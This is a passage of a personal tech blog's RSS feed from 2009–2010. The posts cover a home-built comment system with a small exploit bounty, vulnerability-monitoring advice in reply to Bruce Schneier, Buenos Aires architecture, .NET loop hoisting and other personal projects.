&lt;p&gt;It was actually more difficult than you'd expect, because I don't use any blog software - I write everything in HTML in emacs, and until the comments system, there was no database.  So integrating it was both an exercise in architectural integrity, and philosophy - I didn't want to let you comment until the comments behaved the way I wanted them to.  Mainly I wanted them to degrade gracefully, not slow down the page, and enable you to write a comment that was as thoughtful as a blog post, &lt;em&gt;and formatted to same precision&lt;/em&gt;.  The solution of course was *&lt;a href="http://en.wikipedia.org/wiki/Markdown"&gt;markdown&lt;/a&gt;* - which takes plain text like _this_ and changes it to &lt;em&gt;this&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Oh, and since I rolled my own comment system, you'd be legitimately concerned about whether it was any good at escaping user input.  I'll freely admit that I had it pretty much done, then found that every single comment field (Name, Website, Comment, Email) could be exploited.  But I closed all that up.  And I believe a man is only as good as his word: &lt;span style="font-weight: bold; font-size: large; color: red;"&gt;Exploit my comment system and I'll pay you $20.&lt;/span&gt;  So go &lt;a href="code_adventures_site.html#rev6"&gt;read my code&lt;/a&gt; which I've graciously provided, and start fuzzing.  Here, &lt;a href="http://ha.ckers.org/xss.html"&gt;this might help&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Someone managed to break markdown, which in turn caused a javascript error in chrome.  So whoever that was, identify yourself and I'll buy you a cookie =)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Second Update:&lt;/strong&gt; My friend and general pythonista &lt;a href="http://jmoiron.net/blog/"&gt;Jay Moiron&lt;/a&gt; broke my json encoding, proving his point that I should have used simplejson from the beginning.  I relented, and fixed it.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/dcplRYdqttE" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/dcplRYdqttE/blog-comments_system.html</link><feedburner:origLink>http://ritter.vg/blog-comments_system.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-whos_your_survivor.html</guid>
		<title>Who's Your Survivor?</title>
		<pubDate>29 Jan 2010 07:36 EST</pubDate>
		<description>&lt;p&gt;It's a well-popularized piece of trivia that during the State of the Union, one cabinent member stays behind, and doesn't attend, just in case someone manages to kill the first 17 or so people in the line of succession.  2 days ago (Jan 27, 2010), Shaun Donovan (Secretary of Housing and Urban Development) was the &lt;a href="http://en.wikipedia.org/wiki/Designated_survivor"&gt;designated survior&lt;/a&gt;.  As an aside - he wouldn't actually have been sworn in, as Secretary of State Hillary Clinton was in London and hence would have &lt;a href="http://en.wikipedia.org/wiki/United_States_presidential_line_of_succession"&gt;succeeded&lt;/a&gt;.  (One must wonder about the logistics of who gets to have a &lt;a href="http://en.wikipedia.org/wiki/Nuclear_football"&gt;nuclear football&lt;/a&gt; in times like those.)&lt;/p&gt;

&lt;p&gt;Anyway, several years ago I interned at &lt;a href="http://www.barenecessities.com/"&gt;Bare Necessities&lt;/a&gt; (semi-NSFW) where I absorbed a wealth of information about female undergarments that seems out-of-context and creepy today.  But besides learning the difference between a G-String and a Thong, I learned something about Operation Management.  Apparently one day, the entire tech team (5-6 people) went out for a sit-down lunch, and when they got back the site was down and had been for about an hour.  After that, there was a semi-joke, semi-serious rule that the entire tech team could not go out to lunch together.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://blog.reddit.com/2010/01/what-day.html"&gt;Reddit learned that lesson yesterday&lt;/a&gt;.  To summarize the post, 3/4 of their tech team was at google interviewing Peter Norvig, and the other 1/4 was in NYC going to meetings.  The site suffered an ad attack followed by an outage - and the best the could do was huddle in Google's lobby working on laptops to fix it.&lt;/p&gt;

&lt;p&gt;At my current job, there are around 2 dozen people who have access to production, split amongst Database Guys, Development, and Infrastructure.  We have on-call lists, with priorities running down, and automated alerts - we're pretty good about it.  But then I realized - what's the one event, that &lt;em&gt;usually&lt;/em&gt; (not always, but usually) manages to incapaitate &amp;gt;85% of the &lt;em&gt;entire&lt;/em&gt; tech team?  That's right - Company Party.  It's never come up, to my knowledge, but the thought of my bosses, slightly-to-very intoxicated, huddled around the single guy who brought his laptop to the party - all wanting to just rip it out of his hands and do it themselves - well, it amuses me.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/t5V_aGMNFDk" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/t5V_aGMNFDk/blog-whos_your_survivor.html</link><feedburner:origLink>http://ritter.vg/blog-whos_your_survivor.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-architecture_of_buenos_aires.html</guid>
		<title>Architecture of Buenos Aires</title>
		<pubDate>27 Jan 2010 04:36 EST</pubDate>
		<description>&lt;p&gt;Before I decided to major in Computer Science, I looked at schools for Architecture.  And while I obviously never majored in it, I still am drawn to it.  I eventually ran across a blog called &lt;a href="http://www.scoutingny.com/"&gt;Scouting NY&lt;/a&gt; a year or so ago, and it instantly became one of the feeds I would look forward to in my &lt;a href="http://ritter.vg/readinglist.html"&gt;feed reader&lt;/a&gt;.  The Scout's job is to scout locations for films, and in doing so he blogs about some of the interesting things you can see in NYC if you actually pay attention.  He's shown me some  amazing sights in New York - and even better he's taught me to &lt;em&gt;open my own eyes&lt;/em&gt; and find them for myself.  I thought I would pay him some homage and show three buildings that have struck me while I'm staying in Buenos Aires.&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;
&lt;a href="/resources/ba-arch/Belgrano 1.jpg"&gt;&lt;img src="/resources/ba-arch/tn_Belgrano 1.jpg" style="float:left;margin:5px;"&gt;&lt;/a&gt;
&lt;a href="/resources/ba-arch/Belgrano 3.jpg"&gt;&lt;img src="/resources/ba-arch/tn_Belgrano 3.jpg" style="float:right;margin:5px;"&gt;&lt;/a&gt;
&lt;a href="/resources/ba-arch/Belgrano 2.jpg"&gt;&lt;img src="/resources/ba-arch/tn_Belgrano 2.jpg" style="float:right;margin:5px;"&gt;&lt;/a&gt;
Firstly, I have this building - which I know nothing about.  It's on Belgrano a few streets south of Plaza de Mayo - and as far as I know it just an apartment building.  But compare it to the buildings next to it - it's clearly an order of magnitude more impressive.  Take a look at the facade - the tiny faux-balconies, the columns running down it, and the bay windows at the corner. &lt;/p&gt;

&lt;p style="clear:both"&gt;
&lt;a href="/resources/ba-arch/Belgrano 4.jpg"&gt;&lt;img src="/resources/ba-arch/tn_Belgrano 4.jpg" style="float:left;margin:5px;"&gt;&lt;/a&gt;
&lt;a href="/resources/ba-arch/Belgrano 5.jpg"&gt;&lt;img src="/resources/ba-arch/tn_Belgrano 5.jpg" style="float:left;margin:5px;"&gt;&lt;/a&gt;
&lt;a href="/resources/ba-arch/Belgrano 6.jpg"&gt;&lt;img src="/resources/ba-arch/tn_Belgrano 6.jpg" style="float:right;margin:5px;"&gt;&lt;/a&gt;
And then there's two incredible sets of ornamentation.  First is the statutes.  In Buenos Aires they're refered to as Las Caras - literally The Faces.  Each seems to be supporting the weight of the building on his shoulders, and each is slightly different - one is holding a pickaxe, another a chain.&lt;/p&gt;

&lt;p style="clear:both"&gt;
&lt;a href="/resources/ba-arch/Belgrano 7.jpg"&gt;&lt;img src="/resources/ba-arch/tn_Belgrano 7.jpg" style="float:left;margin:5px;"&gt;&lt;/a&gt;
&lt;a href="/resources/ba-arch/Belgrano 8.jpg"&gt;&lt;img src="/resources/ba-arch/tn_Belgrano 8.jpg" style="float:left;margin:5px;"&gt;&lt;/a&gt;
&lt;a href="/resources/ba-arch/Belgrano 9.jpg"&gt;&lt;img src="/resources/ba-arch/tn_Belgrano 9.jpg" style="float:right;margin:5px;"&gt;&lt;/a&gt;
The other piece of ornamentation is the eagles near the top of the building.  Above the eagles, there is what appears to be a private balcony - and above that are the towers.  It looks like one of the spires has a crown on top and the other a weathervane.  The bottom of the building is shop or restaurant space that is for sale.&lt;/p&gt;

&lt;p style="clear:both;text-align:center;"&gt;
&lt;a href="/resources/ba-arch/Belgrano 10.jpg"&gt;&lt;img src="/resources/ba-arch/tn_Belgrano 10.jpg" style=";margin:5px;"&gt;&lt;/a&gt;
&lt;a href="/resources/ba-arch/Belgrano 11.jpg"&gt;&lt;img src="/resources/ba-arch/tn_Belgrano 11.jpg" style=";margin:5px;"&gt;&lt;/a&gt;
&lt;a href="/resources/ba-arch/Belgrano 12.jpg"&gt;&lt;img src="/resources/ba-arch/tn_Belgrano 12.jpg" style=";margin:5px;"&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;hr style="clear:both"&gt;

&lt;p style="clear:both"&gt;
&lt;a href="/resources/ba-arch/hipotecario1.jpg"&gt;&lt;img src="/resources/ba-arch/tn_hipotecario1.jpg" style="float:left;margin:5px;"&gt;&lt;/a&gt;
&lt;a href="/resources/ba-arch/hipotecario2.jpg"&gt;&lt;img src="/resources/ba-arch/tn_hipotecario2.jpg" style="float:right;margin:5px;"&gt;&lt;/a&gt;
The next building is about as opposite as you can get - but I still love it.  It's an all-concrete structure built in the 60s or 70s.  It's located in the banking district - near Buenos Aires' Wall Street equivalent, with narrow streets that make it impossible to get a good shot of the entire building from the street.  As we move down towards the front door you can see the structure of the building opening up into a sunk-back front door.  Complete with an amazing meeting room above the street.&lt;/p&gt;

&lt;p style="clear:both;text-align:center;"&gt;
&lt;a href="/resources/ba-arch/hipotecario3.jpg"&gt;&lt;img src="/resources/ba-arch/tn_hipotecario3.jpg" style=";margin:5px;"&gt;&lt;/a&gt;
&lt;a href="/resources/ba-arch/hipotecario4.jpg"&gt;&lt;img src="/resources/ba-arch/tn_hipotecario4.jpg" style=";margin:5px;"&gt;&lt;/a&gt;
&lt;a href="/resources/ba-arch/hipotecario5.jpg"&gt;&lt;img src="/resources/ba-arch/tn_hipotecario5.jpg" style=";margin:5px;"&gt;&lt;/a&gt;
&lt;a href="/resources/ba-arch/hipotecario6.jpg"&gt;&lt;img src="/resources/ba-arch/tn_hipotecario6.jpg" style=";margin:5px;"&gt;&lt;/a&gt;
&lt;a href="/resources/ba-arch/hipotecario7.jpg"&gt;&lt;img src="/resources/ba-arch/tn_hipotecario7.jpg" style=";margin:5px;"&gt;&lt;/a&gt;
&lt;a href="/resources/ba-arch/hipotecario8.jpg"&gt;&lt;img src="/resources/ba-arch/tn_hipotecario8.jpg" style=";margin:5px;"&gt;&lt;/a&gt;
&lt;/p&gt;


&lt;hr style="clear:both"&gt;

&lt;p style="clear:both"&gt;The last building is the most beautiful building I think I have ever seen.  I'll give you the glamour shot and just get it over with.&lt;/p&gt;

&lt;p style="clear:both;text-align:center;"&gt;&lt;a href="/resources/ba-arch/uba 1.jpg"&gt;&lt;img src="/resources/ba-arch/tn_uba 1.jpg" style=";margin:5px;"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p style="clear:both"&gt;
&lt;a href="/resources/ba-arch/uba 2.jpg"&gt;&lt;img src="/resources/ba-arch/tn_uba 2.jpg" style="float:left;margin:5px;"&gt;&lt;/a&gt;
&lt;a href="/resources/ba-arch/uba 3.jpg"&gt;&lt;img src="/resources/ba-arch/tn_uba 3.jpg" style="float:right;margin:5px;"&gt;&lt;/a&gt;
This is one of three buildings for the School of Engineering at UBA (University of Buenos Aires).  The building began construction in 1912, it has a segment &lt;a href="http://es.wikipedia.org/wiki/Facultad_de_Ingenier%C3%ADa_(UBA)#Las_Heras"&gt;on the Spanish Wikipedia&lt;/a&gt;.  The architect was a man named Arturo Prins, and &lt;a href="http://www.lanacion.com.ar/nota.asp?nota_id=480900"&gt;there's some intrigue as to his death&lt;/a&gt; - my Spanish is not that great, and google translate does its best but isn't perfect - the rumor is that he committed suicide because he wasn't able to complete the building due to funding and construction miscalculations.  In fact, I'm unable to determine the provenance &lt;a href="http://www.acceder.buenosaires.gov.ar/es/879741"&gt;of this photo&lt;/a&gt; but if you were to take it at face value - the building is only half as tall as it should be!&lt;/p&gt;

&lt;p style="clear:both"&gt;
&lt;a href="/resources/ba-arch/uba 4.jpg"&gt;&lt;img src="/resources/ba-arch/tn_uba 4.jpg" style="float:left;margin:5px;"&gt;&lt;/a&gt;
&lt;a href="/resources/ba-arch/uba 5.jpg"&gt;&lt;img src="/resources/ba-arch/tn_uba 5.jpg" style="float:right;margin:5px;"&gt;&lt;/a&gt;
As you move around the building, the most striking feature to me is the dual balconies.  (I'm actually not entirely sure they &lt;em&gt;are&lt;/em&gt; balconies - they may be inaccessible except for climbing through windows - but I would find that difficult to believe.)  The first balcony is immense - large enough for a snazzy cocktail party overlooking the street.  It reminds me of Gaud&amp;iacute;'s immense &lt;a href="http://img6.travelblog.org/Photos/55959/261964/t/2158975-park-guell-0.jpg"&gt;plaza above a plaza in Park G&amp;uuml;ell&lt;/a&gt; in Barcelona.  Above &lt;em&gt;that&lt;/em&gt; is smaller balcony that reminds me of the elite of the elite looking down on their subjects.  (Okay, actually, it reminds me of the balcony scene in the &lt;a href="http://www.pixelmagicfx.com/features/spiderman/images/spideyvfx3_0001.jpg"&gt;first Spider-Man&lt;/a&gt;.)&lt;/p&gt;

&lt;p style="clear:both"&gt;
&lt;a href="/resources/ba-arch/uba 6.jpg"&gt;&lt;img src="/resources/ba-arch/tn_uba 6.jpg" style="float:left;margin:5px;"&gt;&lt;/a&gt;
&lt;a href="/resources/ba-arch/uba 7.jpg"&gt;&lt;img src="/resources/ba-arch/tn_uba 7.jpg" style="float:right;margin:5px;"&gt;&lt;/a&gt;
&lt;a href="/resources/ba-arch/uba 8.jpg"&gt;&lt;img src="/resources/ba-arch/tn_uba 8.jpg" style="float:right;margin:5px;"&gt;&lt;/a&gt;
Slide around the corner, and you see another balcony running along the side of the building.  If there was ever a place to hold a fancy reception on a Spring Evening - this would surely be it.  Looking at it from the back, we can see that it is rather massive.  However, it has also acquiesced to time.  A giant tower projects out of it, and it is in poor repair.  Grass grows out of its roof, the entire thing needs to be repointed to repair the brickwork (and having looked into that for a building &lt;em&gt;much&lt;/em&gt; smaller - I can tell you that's a &gt;$10m project), and I'm not sure why but there are support beams protruding from some corners and areas.  There seems to be a large family of cats living in its backyard also.&lt;/p&gt;

&lt;p style="clear:both;text-align:center"&gt;
&lt;a href="/resources/ba-arch/uba 10.jpg"&gt;&lt;img src="/resources/ba-arch/tn_uba 10.jpg" style=";margin:5px;"&gt;&lt;/a&gt;
&lt;a href="/resources/ba-arch/uba 11.jpg"&gt;&lt;img src="/resources/ba-arch/tn_uba 11.jpg" style=";margin:5px;"&gt;&lt;/a&gt;
&lt;a href="/resources/ba-arch/uba 12.jpg"&gt;&lt;img src="/resources/ba-arch/tn_uba 12.jpg" style=";margin:5px;"&gt;&lt;/a&gt;
&lt;a href="/resources/ba-arch/uba 13.jpg"&gt;&lt;img src="/resources/ba-arch/tn_uba 13.jpg" style=";margin:5px;"&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;p style="clear:both"&gt;I don't know what will happen to this building - The Engineering School has two other, much newer and much larger buildings.  This particular building is in a very nice area of town, with a lot of shops and even more apartment buildings, next to a park, on a major street.  Taken all together... it wouldn't look good.  I don't know if it's protected by any laws, if it's being repaired, or any rumors regarding its fate.  But I sincerely hope it gets repaired, and in a manner that preserves the look of it (specifically the brick coloring).  In closing, I'll leave you with my favorite place to be in all of Buenos Aires.&lt;/p&gt;

&lt;p style="clear:both;text-align:center"&gt;
&lt;a href="/resources/ba-arch/uba 14.jpg"&gt;&lt;img src="/resources/ba-arch/tn_uba 14.jpg" style=";margin:5px;"&gt;&lt;/a&gt;
&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/63pwDe4xobA" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/63pwDe4xobA/blog-architecture_of_buenos_aires.html</link><feedburner:origLink>http://ritter.vg/blog-architecture_of_buenos_aires.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-simple_crypto_pack.html</guid>
		<title>simple crypto pack</title>
		<pubDate>17 Jan 2010 20:43:00 EST</pubDate>
		<description>&lt;p&gt;Every so often I run into some simple (or not-so-simple) cipher and I'm curious what it means.  And every time I end up writing the same PHP scripts to shift all the letters and try various vigenere keys.  I figured I might as well just write them well once and be done with it.  ("Well", is of course, relative.)  They're not all that sophisticated, and they're not designed to be "fire-and-forget", they require you to do some analysis yourself and find what fits.  But maybe they'll help you with the newspaper cryptogram.&lt;/p&gt;

&lt;p&gt;The code is available on &lt;a href="http://github.com/tomrittervg/simple-crypto-pack" class="themainlink"&gt;github&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Also, to my 12 rss readers, who were inundated by a complete push of all my old articles - I apologize.  I redid the guids for the posts, when I &lt;a href="http://ritter.vg/code_adventures_site.html"&gt;rewrote my site&lt;/a&gt; this weekend (yes, again), so they were pushed to you as duplicatess.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/bQhW9tGF8pQ" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/bQhW9tGF8pQ/blog-simple_crypto_pack.html</link><feedburner:origLink>http://ritter.vg/blog-simple_crypto_pack.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-bruce_schneier_is_wrong.html</guid>
		<title>bruce schneier is wrong</title>
		<pubDate>28 Dec 2009 21:45:23 EST</pubDate>
		<description>&lt;p&gt;Bruce Schneier is wrong.  There, I said it.  Specifically, he's wrong in one of his recent essays &lt;a href="http://www.schneier.com/blog/archives/2009/12/reacting_to_sec.html"&gt;Reacting to Security Vulnerabilities&lt;/a&gt;, and he's wrong in the suggestions he makes.  &lt;/p&gt;

&lt;p&gt;He states there are several reasons to "do nothing. ... Don't panic. Don't change your behavior. Ignore the problem, and let the vendors figure it out." They are:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;It's hard to figure out which vulnerabilities are serious and which are not. ... The press either mentions them or not, somewhat randomly; just because it's in the news doesn't mean it's serious.&lt;/li&gt;
  &lt;li&gt;It's hard to figure out if there's anything you can do. ... Some vulnerabilities have surprising consequences. The SSL vulnerability mentioned above could be used to hack Twitter. &lt;/li&gt;
  &lt;li&gt;The odds of a particular vulnerability affecting you are small. There are a lot of fish in the Internet, and you're just one of billions.&lt;/li&gt;
  &lt;li&gt;Often you can't do anything. These vulnerabilities affect clients and servers, individuals and corporations. A lot of your data isn't under your direct control -- it's ... in a cloud computing application.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;He then gives a list of steps you should take to protect yourself client-side: anti-virus, updates, proper configuration, common sense, and backups.  Those four points aren't wrong, they're all true.  But his conclusion to ignore vulnerability reports is downright careless.  &lt;/p&gt;

&lt;p&gt;For the elements (servers, people, services, etc) within your sphere of influence - you should be keeping an eye on the vulnerabilities that can affect them.&lt;/p&gt;

&lt;p&gt;Consider a &lt;a href="http://secunia.com/advisories/37831/"&gt;recent flaw found in IIS&lt;/a&gt;.  If you're vulnerable, it's a pretty serious hole you have open - &lt;a href="http://blog.metasploit.com/2009/12/exploiting-microsoft-iis-with.html"&gt;lots of bad things can happen&lt;/a&gt;.  Fortunately, three things are on your side, two of which Bruce stated: the odds of you meeting the criteria are small and if it does affect you the odds of someone finding and exploiting you are small.  Furthermore, good to excellent sysadmins would already be protected from this (it's a subtle/tricky thing to protect against but still oft-advised.)&lt;/p&gt;

&lt;p&gt;But none of these things matter after you get hacked.  Then it's your data on the internet, it's your ass on the line, and it's you that I want to punch in the face after you leak my credit card.  You can't claim "I was waiting for the vendor" - Microsoft isn't going to apologize and make everyone's credit cards come back home.  You can't stand in front of the CEO and say "The odds of this happening were so low we didn't think it was worth protecting against."  &lt;/p&gt;

&lt;p&gt;The fact of the matter is the tradeoff of reviewing vulnerabilities and at the very least &lt;em&gt;being aware of what you're vulnerable to&lt;/em&gt; is low-cost/high-reward. Let's take a look at the cost: Add a &lt;a href="http://gentoo-portage.com/RSS/GLSA"&gt;few&lt;/a&gt; &lt;a href="http://www.securityfocus.com/archive/1"&gt;&lt;strong&gt;firehoses&lt;/strong&gt;&lt;/a&gt; &lt;a href="http://trac.wordpress.org/query?status=new&amp;status=assigned&amp;status=reopened&amp;groupdesc=1&amp;group=priority&amp;format=rss&amp;component=Security&amp;order=priority"&gt;of&lt;/a&gt; &lt;a href="http://nvd.nist.gov/download/nvd-rss-analyzed.xml"&gt;information&lt;/a&gt; into google reader and skim through them in 5 minutes a day while having your coffee.  &lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Do I use the app/protocol that's vulnerable? That knocks out about 95% of the reports.&lt;/li&gt;
  
  &lt;li&gt;Is it a client app? VLC? Windows Media Player? Don't care.  These are all relegated to either social engineering exploits (Click this link! Watch this video!) or fall into the category of things you can't fix (besides trying to bar people from using the app)&lt;/li&gt;
  
  &lt;li&gt;Is it a public-facing service/protocol/app I care about?  Go read the damn vulnerability.  You're probably at about 5-10 of these a week by now - tops.  &lt;/li&gt;
  
  &lt;li&gt;Is it fixed in a new version?  Do I use the new version? Since you're hopefully staying on top of updates this will probably knock out a third of them.&lt;/li&gt;
  
  &lt;li&gt;How do you exploit it?  E.G.: If it involves uploading a file - do you allow file uploads anywhere? No? Awesome, you're safe! You don't know? Then... how are you managing the server if you don't know what it does?  (Seems like you ought to work with your colleagues a little closer.)  Or lets say the way to exploit it is really complicated or not explicitly stated, like the HTTPS vulnerability.  Well, the fix for it will either be easy with little to no consequences (like disabling HTTPS renegotiation or adding 17 characters in a php file to protect against a Wordpress vulnerability) - so bloody do it and don't worry about it - or it will not be so easy.&lt;/li&gt;
  
  &lt;li&gt;Okay, so it seems to be vulnerable and the fix isn't that easy.  This probably comes around like once every 3 months.  Send out an email "I think hackers can X our Y" - that'll be sure to either A) Get people to respond that you're wrong and you're safe or B) That this is serious and you're now given the resources to get it investigated and fixed.  &lt;em&gt;No one&lt;/em&gt; wants to be the guy who says "Yea, I heard we might be vulnerable, but I asked him not to investigate it."&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At this point, you're probably spending an hour a week doing this.  And let me tell you - there is nothing more impressive to your boss than when he comes to you to ask about something he saw in the paper or in his feedreader and you can say "Yea, I looked at that vulnerability already and [we're not vulnerable/I closed the hole]." &lt;/p&gt;

&lt;p&gt;I didn't pull these numbers out of thin air - I manage a half-dozen web apps and a few servers in either a semi-professional or professional capacity.  If you're spending significantly more time you're probably doing it in a capacity where it's a formal part of your job in which case there's nothing to complain about.  Bruce Schneier is wrong - it's our responsibility to stay on top of vulnerabilities and mitigate them when we can to protect our computers, businesses, and our clients' data.&lt;/p&gt;

&lt;p&gt;The most important thing is that it's your job to keep your stuff secure - not anyone else.  If it was their responsibility - it'd be their stuff.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/RTCl9D1I9gM" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/RTCl9D1I9gM/blog-bruce_schneier_is_wrong.html</link><feedburner:origLink>http://ritter.vg/blog-bruce_schneier_is_wrong.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-love_hate_sql.html</guid>
		<title>i have a love/hate affair with sql</title>
		<pubDate>10 Dec 2009 14:15:23 EST</pubDate>
		<description>&lt;p&gt;It's so much fun to &lt;a href="http://twitpic.com/qo1qc"&gt;optimize&lt;/a&gt; but it's neither &lt;a href="http://en.wikipedia.org/wiki/Deterministic_algorithm"&gt;deterministic&lt;/a&gt; nor &lt;a href="http://en.wikipedia.org/wiki/Noncontradiction"&gt;logical&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/YGiQeKglg7U" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/YGiQeKglg7U/blog-love_hate_sql.html</link><feedburner:origLink>http://ritter.vg/blog-love_hate_sql.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-updated_travel.html</guid>
		<title>updated travel page</title>
		<pubDate>7 Dec 2009 00:15:23 EST</pubDate>
		<description>&lt;p&gt;I updated the &lt;a class="themainlink" href="travel.html"&gt;travel page&lt;/a&gt; with some GPS coordinates of my move down to Buenos Aires.  I successfully navigated security with &lt;a href="http://twitpic.com/r8il4"&gt;a ton of hardware in my carry-on&lt;/a&gt; as well as one duffel with &lt;em&gt;three LCD Monitors&lt;/em&gt; and another duffel with &lt;em&gt;an entire desktop computer&lt;/em&gt;.  TSA checked both bags and I got my carry-on searched twice in Mexico (but &lt;strong&gt;not in the US!&lt;/strong&gt;) but none of it was damaged more than cosmetically, so huge win.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/_g1cFuIHljM" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/_g1cFuIHljM/blog-updated_travel.html</link><feedburner:origLink>http://ritter.vg/blog-updated_travel.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-comparing_loop_hoisting.html</guid>
		<title>comparing loop hoisting in .net</title>
		<pubDate>8 Nov 2009 1:24:23 EST</pubDate>
		<description>&lt;p&gt;During the same WAN Party that I built &lt;a href="http://howdyougetthatscar.com"&gt;howdyougetthatscar.com&lt;/a&gt; I also got into an argument with &lt;a href="http://www.bristowe.com/"&gt;John Bristowe&lt;/a&gt; and &lt;a href="http://haacked.com/"&gt;Phil Haack&lt;/a&gt; about, in succession, the foreach loop, IEnumerable, yield return, and then LINQ - and my mostly-unjustified hatred for all of them.  Especially the foreach loop.  I really hate that thing.&lt;/p&gt;

&lt;p&gt;Anyway, I didn't exactly justify myself well on these topics, so my plan this weekend was to write a long blog post explaining and proving that the foreach loop is to efficiency what the goto is to programmer sanity.  But somehow I got sidetracked, and before I knew it I was actually using the extremely frightening WinDbg - something I had only seen the likes of &lt;a href="http://mcfunley.com/"&gt;crazy haskell programmers&lt;/a&gt; using.
&lt;/p&gt;

&lt;p&gt;&lt;img src="resources/loophoisting/windbg.png" alt="WinDbg intimidating me." /&gt;&lt;/p&gt;

&lt;p&gt;The result of this epic sidetrack was somehow that I ended up comparing loop hoisting.&lt;/p&gt;
&lt;pre&gt;for(i=0; i&amp;lt;collection.Count; i++) 
    vs 
int c=collection.Count; 
for(i=0; i&amp;lt;c; i++)&lt;/pre&gt;

&lt;p&gt;So if you want to take an adventure through IL all the way down to the Assembly, and find out which one is &lt;em&gt;actually more efficient&lt;/em&gt; &lt;a class="themainlink" href="code_adventures_clr2.html"&gt;follow me down the rabbit hole&lt;/a&gt;.  The answer will surprise you.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/qDNvqvbQcG0" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/qDNvqvbQcG0/blog-comparing_loop_hoisting.html</link><feedburner:origLink>http://ritter.vg/blog-comparing_loop_hoisting.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-howdyougetthatscar.html</guid>
		<title>how'd you get that scar?</title>
		<pubDate>5 Nov 2009 10:24:23 EST</pubDate>
		<description>&lt;p&gt;Have you ever had to explain a random scar?  And the real story isn't very good, so you need something better?  &lt;a href="http://howdyougetthatscar.com/" class="themainlink"&gt;There's a webapp for that&lt;/a&gt;.  You're welcome internet.&lt;/p&gt;

&lt;p&gt;I still need to add more words.  And just for kicks I did it on a ridiculous framework, instead of a 5 line PHP file.  I did it in ASP.Net MVC on Mono on my gentoo server.  So three cheers for over-engineering.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/pm7sr0dyct8" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/pm7sr0dyct8/blog-howdyougetthatscar.html</link><feedburner:origLink>http://ritter.vg/blog-howdyougetthatscar.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-not_sleeping_is_dangerous_for_your_laptop.html</guid>
		<title>not sleeping can be dangerous for your laptop</title>
		<pubDate>1 Nov 2009 10:37:23 EST</pubDate>
		<description>&lt;p&gt;In a spurt of productivity, last night when I got home I decided that instead of sleeping, I was finally going to pave my laptop and install Windows 7.  There's just one problem.  My laptop is a netbook, and has no DVD drive.  And after a couple hours of messing with a USB Key, I learned I can't get it to boot from a USB Key.  It's probably the key, although it works fine on my desktop, but I got frustrated and decided to just install 7 from inside XP.  Now I'm going to fast forward a bit and just tell you where I'm at now, not how I got there.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I am quad booting a netbook, by accident&lt;/strong&gt;
  &lt;ul&gt;
	&lt;li&gt;Windows 7&lt;/li&gt;
	&lt;li&gt;Windows XP&lt;/li&gt;
	&lt;li&gt;Ubuntu 9.10&lt;/li&gt;
	&lt;li&gt;LiveCD of Backtrack 4 Pre-Release&lt;/li&gt;
   &lt;/ul&gt;
&lt;/p&gt;

&lt;p&gt;Yes, it is a LiveCD, not an install, it reverts everytime I restart, and only take up a gig of space.  It's a pretty novel idea, but it wasn't at all what I wanted.  And on top of that, I still have two big blocks of unpartitioned space that I can't combine or move around.&lt;/p&gt;

